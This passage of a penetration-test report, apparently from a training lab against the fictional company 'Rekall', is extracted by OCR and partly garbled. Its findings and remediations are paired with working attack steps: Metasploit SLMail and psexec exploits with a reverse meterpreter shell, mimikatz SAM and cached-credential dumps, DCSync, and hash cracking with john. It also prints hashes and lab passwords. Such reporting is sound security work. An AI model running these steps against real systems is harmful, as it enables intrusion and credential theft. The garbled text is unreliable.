$aprifaovSKwao$GV3sgGA]j c3GkS4o0UCH

We then used john to crack the password hash in 38 seconds:

but the
on to force 1

y for status

option
ion completed.

The credentials are trivera:Tanyadlife, and the password is the first flag.

18. IP with Open Port 80

Day 3: Flag 2
Vulnerability 18 Findings
Title Port 80 vulnerability

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Medium

An open port 80 allows web traffic; Rekall has made an attempt to protect that
Description port with a request for authentication, but that will only remain as strong as the
integrity of the user’s credentials.

Images See below

Affected Hosts | 172.22.117.20

Remediation Secure this port, strengthen passwords, add layers of authentication.
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Technique: HKTSTC did an nmap scan of Rekall’s network range 172.22.117.0/24 (command
‘nmap -A 172.22.117.0/24’) and found two machines, 172.22.117.10 and 172.22.117.20. The latter
had port 80 open as we see below:

Nmap s
Host is up
Not shown: 99¢
STATE
fip
bounce w

i1l
allowed (FTP
32 Feb 15
il smtpd
, ETRN, XTRN
OML SAML HELP NOOP QUIT

mSTpC
netbios-s icr t 55N
ssl/http J L/1.1.1m PHP/8.1.

- 1909

1 hop
: rekall.local, localhost, .example.com; 0S: Cpe oft:windows

: WIN1@, NetBIOS user: <unknown>, NetBIOS MAC:

We then went to a web browser and typed in 172.22.117.20 and got the following authentication
input screen, into which we entered trivera:Tanya4life.
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lipboard  View  Help
LN ] B

01:08 PM

) GitHub - ni- X n nain X | = Server Not Found

172.22.117.20

Tl f T SITY
Authentication Required - Mozilla Firefox o

0 is requesting your username and p. re esi estricted Content”

Firefox

Try Again

The result was the following page with a promising-looking file:
#- Exploit-DB @ Nessus

Index of /

Name Last modified Size Description

flag2.txt 2022-02-15 13:53 34

Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHF/8.1.2 Server at 172,22.117.20 Port 80

When we opened that file, we found flag 2:
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le'B IJ_] Kal on ML-REFVM-15710% - Virtual Machine Connection

File  Action Media Clipboard View Help
R @0 | nw|fs b B
ﬁ ] N ¥ Mozilla Firefox

19. Anonymous FTP Access to Files

Day 3: Flag 3
Vulnerability 19 Findings
Title Anonymous access FTP vulnerability

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Low 0.0

This machine also has port 21 open with an FTP vulnerability enumerated in
the nmap scan above. It is a configuration that allows anonymous
(unauthenticated) users to transfer files with this machine (Vry4n_ 2019). ltis

Description far more serious than the simple file download we accomplished here,
because it could be used to upload a malicious payload instead, but it is an
extremely easy (and free) fix. CVE-1999-0497

Images See below

Affected Hosts | 172.22.117.20

Open the config file and set anonymous enable = NO and restart vsftpd

Remediation .
service.

Technique: HKTSTC used the data gathered from the nmap scan about the ftp vulnerability and ran
the command
ftp 172.22.117.20

We were asked to enter a username and entered anonymous. For password, we entered (literally)
‘anything’ and were logged on (other passwords also worked):
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Server version @.9.41 beta
-written by Tim Kosse (Tim.Kossemgmx.de)
Please visit http://sourceforge.net/projects/filezilla/

me ( .117.2@:root): anonymous
1 Password required for amonymous

230 Logged on
Remote system type is UNIX.
ftp> |

Once connected, since we could guess the filename we needed, we successfully tried to use FTP to
transfer the file to our local machine with the command
get flag3.txt

: LIXt remote: g
200 Port command successful
15@ Opening data channel for file tramsfer.
6 Transfer OK
32 bytes received in @.0@
ftp> |

221 Goodbye

.o
fla
89ch548970@d!

20. Seattle Lab Buffer Overflow Vulnerability
Day 3: Flag 4

Vulnerability 20 Findings

Title Seattle Lab Mail buffer overflow vulnerability

Type (Web app / | Windows OS
Linux OS /
Windows OS)
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Risk Rating

The POP3 server of Seattle Lab Mail (SLMail) 5.5.x has an unauthenticated
buffer overflow vulnerability then sending a password with excessive length,

Description CVE-2003-0264 (InfosecMatter, n.d.). This vulnerability has a partial impact on
confidentiality, integrity, and availability (CVE Details 2021).
Images See below

Affected Hosts | 172.22.117.20

Remediation Secure ports 25, 110, and 106.

Technique: HKTSTC reviewed the earlier nmap scan and found that this machine was using the
SLMall POP3 mail server on port 110. This server has a buffer overflow vulnerability.

5/ ope smtp Skmail ,mfpd Dl 3
| ,mfa commands: rekall.loc END, SOML ML, HELP, VRFY N, ETRN, XTRN
|_ This serv i - f: f C E . HELO MAIL T DATA RSET SEN ML SAML HELP NOOP QUIT

L/1.1.1m PHP/8.1.2)

With a quick search online, we found the Metasploit exploit exploit/windows/pop3/seattlelab pass
and tried it, successfully, as you see below:

configured, defaulting

e options (exploit/windows
Name Current Setting Required
RHOSTS he ost(s), see https ithub.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 11e
Payload options (windows/meterpreter/
Name Current Setting Required
EXITFUNC threa xit chnique ( e F T r none)

LHOST
LPORT

Exploit

Id N
Windows NT/20€
et rhosts 17
.117.20

2.117.1e8

Status: Running

Once we had a meterpreter shell, we checked our privileges out of curiosity and found that this
incursion was at a high level:
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We used the command ‘shell’ to drop into a Windows PowerShell terminal; note that we weexitre in
the SLmail\System program files, so doing a ‘dir’ command here showed us files were in that
SLMail/System folder.

Volume in drive C has no label.
Volume Serial Number is 0@14-DE@2

Directory of C:\Program Files (x86)\SLmail\

A9 AM <DIR>
AM <DIR>
AM
AM
AM
AM
AM
AM
PM ;991 maillo
PM 2,218 maillo:
PM 2,831 maillos
AM maillo
PM 3 7 maillog
PM 6 maillog
AM ) maillog.
3 AM 4 8 maillog.

al0440ad9cc@86197819b49d

C:\Program Files (x86)"

Day 3: Flag 5

Technique: According to (CVE Details 2021), the open port 25 above cannot be reused for
successive exploitation until the SLMail service has been restarted. So the next step an attacker
would take after exploiting this vulnerability is to take a look at scheduled tasks and see if a
backdoor payload can be smuggled into one of them. HKTSTC searched scheduled tasks for any
task with task name (/tn) flag5 with the following command, including a /v for verbose:

schtasks /query /v /tn flags
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tem>schtasks /query /v /tn flags

TaskName Next Run Time Status

e Task If Not Rescheduled Stop Task If Runs X Hours and X Mins

Months

WIN1O

NSA

72:00:00

21. Privilege Escalation Vulnerability via LSASS/SAM
Day 3: Flag 6

Vulnerability 21 Findings

Title Privilege escalation vulnerability via LSASS and the SAM database

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Critical 9.8

The Local Security Authority Subsystem Service (LSASS) has an elevation of
privilege vulnerability because of overly permissive Access Control Lists on
multiple system files, including the SAM database (see flag 6), known as
HiveNightmare (Cyber Sophia, n.d.) (Mitre, n.d.) (Zorz
2021).CVE-2021-36934. This is a critical vulnerability with full impact on
confidentiality, integrity, and availability (NIST 2021), because SAM is where
local user password hashes are stored, which can give access to the local
machine.

Description

Images See below

Affected Hosts | 172.22.117.20

Install Microsoft’s security updates and delete all shadow copies of system

Remediation | fies, including the SAM database (Microsoft 2021).

Technique: HKTSTC already had access to this machine, so we loaded kiwi and ran the
Mimikat/kiwi Isadump exploit with the meterpreter command
Isa_dump_sam
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C:\Program Files (x86)\SLmail\System>exit
exit
meterpreter > load kiwi
Loading extension kiwi ..
mimikatz 2.2.8 20191125 (x86/windows)
"A La vie, A L'Amour” - (oe.eo)
/*%x% Benjamin DELPY “gentilkiwi” ( benjamin@gentilkiwi.com )}
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcastle.com / http://mysmartlogon.com s/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
Dumping SAM
Domain : WIN1@
SysKey : 5746a193a13db189e63aa2583949573f
Local SID : S-1-5-21-2013923347-1975745772-2428795772

SAMKey : 5f266b4ef9e57871830440a75bebebca

RID : 000@01fs (500)
User : Administrator

RID : 000001f5 (501)
User : Guest

RID : 000001f7 (583)
User : DefaultAccount

RID : 000@01f8 (504)
User : WDAGUtilityAccount
Hash NTLM: 6c49ebb29d6750b9a34fee28fadb3577

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : e9b42c3ad@6e2afe7962656d9c3c9a3f

8 * Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : daP9b3fB68e7e9a9a2649235cababfee@c7066C410892b6e9f99855830260ee5
aes128_hmac (4096) : 146ee3dblb5e1fd9a2986129bbf38@eb
des_cbc_mds (4096) : 8f7fBbf8d651fels

Near the end of this SAM dump, we found user flag6 with their password hashes and zeroed in on
the NTLM hash:

aes256_hmac (4096) : 91340d4f690646b7cf7bd7b394c30132d85319ec926ab0647eef67fb3a134d62
aesl28_hmac (4096) : 5a966falfc7leee2ec781da25c@55¢ce9
des_cbc_md5s (4096) : 04f4e331081F3443

OldCredentials
aes256_hmac (4096) : 91340d4f690646b7cf7bd7b394c30132d85319ec926ab0647eef67fb3al34d62
aesl128_hmac (4096) : 5a966falfc7leee2ec781da25c055¢ce9
des_cbc_md5 (4896) : 94f4e331@81f3443

* Packages *
NTLM-5trong-NTOWF

# Primary:Kerberos *
Default Salt : DESKTOP-2I13CU6sysadmin
Credentials
des_cbc_mds : 94f4e33108113443
OldCredentials
des_cbc_md5 : 94F4e33108113443

RID : 0@0003ea (1002)
User : flagé
Hash NTLM: 58135ed3bf5e770974@9e4a%9aallaa39
lm - @: 61cc909397b7971alceb2b26b4278821
ntlm- @: 50135ed3bf5e77097409e4a%aallaa39

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4562c122b@43911e0fe2@0dc3dc942fl

#* Primary:Kerberos-Newer-Keys *
Default Salt : WIN1@.REKALL.LOCALflagé
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 9fc67bdc2953ceblef@31c6F1292c1839c784c54d5ch@dIc84e9449ed2c0672F
aes128_hmac (4096) : 099f6fcacdecafb94das584097081355
des_cbc_md5 (4096) : 4@23cd293easf7fd

* Packages #*
NTLM-5trong-NTOWF

| * Primary:Kerberos *
Default Salt : WIN1@.REKALL.LOCALflagé
Credentials
des_cbc_md5s : 4@23cd293easfifd
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User ;
Hash NT
Im - @:

ntlm- @:

So now we have flag6:Computer! and additional access to this machine.

22. Sensitive Data in Shared Folders

Day 3: Flag 7
Vulnerability 22 Findings
Title Sensitive data kept in public folders

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Medium

Sensitive data should have more layers of protection (depth of defense) than

Description . .
P one username/password combo, which can be hacked, as this one was.

Images See below

Affected Hosts | 172.22.117.20

Remediation Secure sensitive data on Rekall machines.

Technique: HKTSTC reopened a Windows shell and navigated to the C:\Users\Public directory (cd
C:\Users\Public) and took at look at its files with the command
dir
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meter

Process

Channel : : :

Microsoft Wi s [Version 10.8.19044.1526]

(c) Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\SLmail\System>cd C:\Users‘Public
hZUsers\Public

C:\Users\Public>dir

dir

Volume in drive C has no label.

Volume Serial Number is 0@14-DB@2

ers\Public

<DIR>
<DIR> is
<DIR> Document
<DIR> Download
<DIR> Music
<DIR> Pictures
Videos
@ bytes
3,284,111,360 bytes free

We looked in the Documents folder (dir Documents) and found a file called flag7.txt:

C:\Users\Public>dir Documents

dir Documents

Volume in drive C has no label.
Volume Serial Number is @@14-DBE@2

Directory of C:\Users\Public\Documents

2 PM <DIR>
2 PM <DIR>
2 PM

1 File(s)

2 Dir(s)

We opened that with with the command
more Documents\flag7.txt
and found flag 7:

C:\Users\Public>more Documentshflag?.txt

23. Domain Controller Login on Local Machine Cached in

Windows Registry
Day 3: Flag 8

Vulnerability 23 Findings
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Administrator used domain controller credentials to login to local machine and

Title those credentials were cached in the Windows Registry of that machine

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Critical 10.0

Windows Registry stores a cache of (by default) the last 10 logins when a
service is run by a local or domain user, a user has enabled auto-login, or
several other reasons (Poston 2019). AdminBob logged on to this machine
Description using his domain controller credentials, and those credentials were then stored
in Windows Registry and available to anyone with sufficient system privileges
on that local machine. To confound that, AdminBob had a weak password and
no additional layers of authentication, which allows an attacker to achieve C2.

Images See below

Affected Hosts | 172.22.117.10

AdminBob should use local administrator credentials if he needs to
troubleshoot local machines. He should never use domain controller
credentials anywhere except on the domain controller and then only when
Remediation acting as the DC administrator (not a DC user). He should also implement
Multi-Factor Authentication, for himself and particularly for other
administrator-level users. And this machine needs a limit on the number of
credentials that are stored and its Windows Registry cache cleared.

Technique: We exited the Windows shell back into our meterpreter session with the Windows10
machine, HKTSTC had already accessed the SAM files and now wanted to access the cached
domain controller information. We used a another kiwi Isa_dump exploit:
kiwi_cmd Isadump::cache

: rpre kiwi_cmd lsadump:: cache

13db189%e 583949573f

Local name : WIN1@ ( S-1-5
Domain name : R (
Domain FQDN :

% Iteration is set to default (1@

[NL$1 - 7

[NL$1 - 7/1
RID :
User £
MsCacheV2 : 3t267cC8 501d5d461315b
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We saved that hash and used john the ripper with command
john —format=mscash2 adminhash.txt

7-16 14:47) 8
show — options to display
sion completed.

adminhash._txt

adminhash. txt

ADMBoD:

e
ji adminhash.tx
Using default input encoding: UTF-
Loaded 1 password hash (mscash2 S Cache Hash 2 (DCC2) [PBKDF2-5HA1l 512/512 AVX512BW 16x])
No password hashes left to crack (see FAQ)

adminhash.txt

ADMBob : Changeme!

1 password hash cracked, @ left

We knew from the nmap intense scan we did earlier that this machine had ports 139 and 445 open,
so an SMB exploit seemed indicated.

Nmap scan repert fo nDCel ( .117.10)

(reset)

ctory LDAP (Domain: rekall.local®., Site: Default-First-Site-Name}

open

We pulled up msfconsole and ran the PSexec exploit that runs by default on port 445:
exploit/windows/smb/psexec which by default runs on port 445.
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Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description

RHOSTS 172,22,1172.10 The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 The SMB service port (TCP)

SERVICE_DESCRIPTION Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME The service display name

SERVICE_NAME The service name

SMBDomain rekall The wWindows domain to use for authentication

SMBPass Changeme! The password for the specified username

SMBSHARE The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser ADMBob The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technigue (Accepted: '', seh, thread, process, none)
LHOST 172.22.117.100 yes The listen address (an interface may be specified)
LPORT Lhhd yes The listen port

Exploit target:

Name

Automatic

msf6 exploit(

HKTSTC used AMDBob’s credentials in the exploit and successfully opened a meterpreter shell into
172.22.117.10:

msf6 exploit( ) > run

Started reverse TCP handler on 172.22.117.1@0:4444

172.22.117.1@8:445 - Connecting to the server ...

172.22.117.10:445 - Authenticating to 172.22.117.1@:445|rekall as user 'ADMBob' ...

172.22.117.10:445 - Selecting PowerShell target

172.22.117.18:445 - Executing the payload...

172.22.117.1@:445 - Service start timed out, OK if running a command or non-service executable ...
Sending stage (175174 bytes) to 172.22.117.18@

Meterpreter session 1 opened (172.22.117.100:4444 — 172.22.117.10:58004 ) at 2022-07-19 15:47:16 -0400

meterpreter > ||

We dropped into a Windows shell and asked for network users with command
net user

meterpreter > shell

Process 2368 created.

Channel 1 created.

Microsoft Windows [Version 10.8.17763.737]

(c) 2018 Microsoft Corporation. ALl rights reserved.

C:\Windows\system32>net user
net user

User accounts for \\

ADMBob Administrator flag8-adl2fc2ffclesy
Guest hdodge jsmith

krbtgt tschubert

The command completed with one or more errors.

C:\Windows\system32>]]

Flag 8 was one of the users.

Day 3: Flag 9
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Technique: Once we were on the machine, HKTSTC took a look at the C:\ drive with commands ‘cd
C:\" and ‘dir’ and found a file named flag9.txt which we opened with the command
more flag9.txt

ndows\system32>cd C:t\

ir

ne in drive C has no lab
ne Serial Number is 142E

iles

m Files (x86)

e7bf5374ffobcbf872

i

Status: Running |

24. Domain Replication Vulnerability

Day 3: Flag 10
Vulnerability 24 Findings
Title Domain replication via MS-DRSR to obtain more password hashes

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Critical

Now that we have administrative access to the domain controller, we can
perform a DCSync attack (Joyce 2021). This attack allows us to impersonate a
Description domain controller and request password hashes from other domain controllers
without having to log on or place code that might be detected on the domain
controller (Qomplx, n.d.).

Images See below

Affected Hosts | 172.22.117.10

Audit domain administrator and user permissions, tighten patching, and enable

Remediation o
network monitoring.

Technique: HKTSTC closed the Windows shell. Back in our meterpreter shell, we made sure kiwi
was still loaded with ‘load kiwi’ and ran the dcsync exploit for NTLM hashes for the particular user
Administrator that showed up as a user in the Flag 8 research:
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dcsync_ntlm Administrator

ntlm Administ
ommand

ension kiwi .
mimikat

reter
Running
Account
NTLM Hash
LM Hash

desync_ntlm Administr,
SYSTEM; function will
Administ or

tor
onl

Status: Running

The Administrator's NTLM hash is

nt. 1

mysmartlogon

work if this computer account has

4fBcfd309a1965906fd2ec39dd23d582)]

5

Flag 10.

MITRE ATT&CK Navigator

Legend:

ouxngme

replication pr
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ntroller)

Performed successfully

Did not attempt

Click here to see the full list of techniques used in the MITRE ATT&CK Navigator

Framework:

Rekall _PenTesting

Reconnaissance Initil Access Execution persistence Priviege Escalation Defense Evasion
rve.by Compromse ot (Account Manipulation [Abise Elevation Gontrol M Bypass User Account Control | Abuse Elevation Control  Advarsary-in-he-iddle [Account Discon
Compromise Accounts Exploit Public-Facing Application BiTS Jobs Elevated Exec | acc
compromise Ifrastructure External Remote Services i Devies 1 00t or Logon Autostart Execution Setud and setgd B1Ts Jobs
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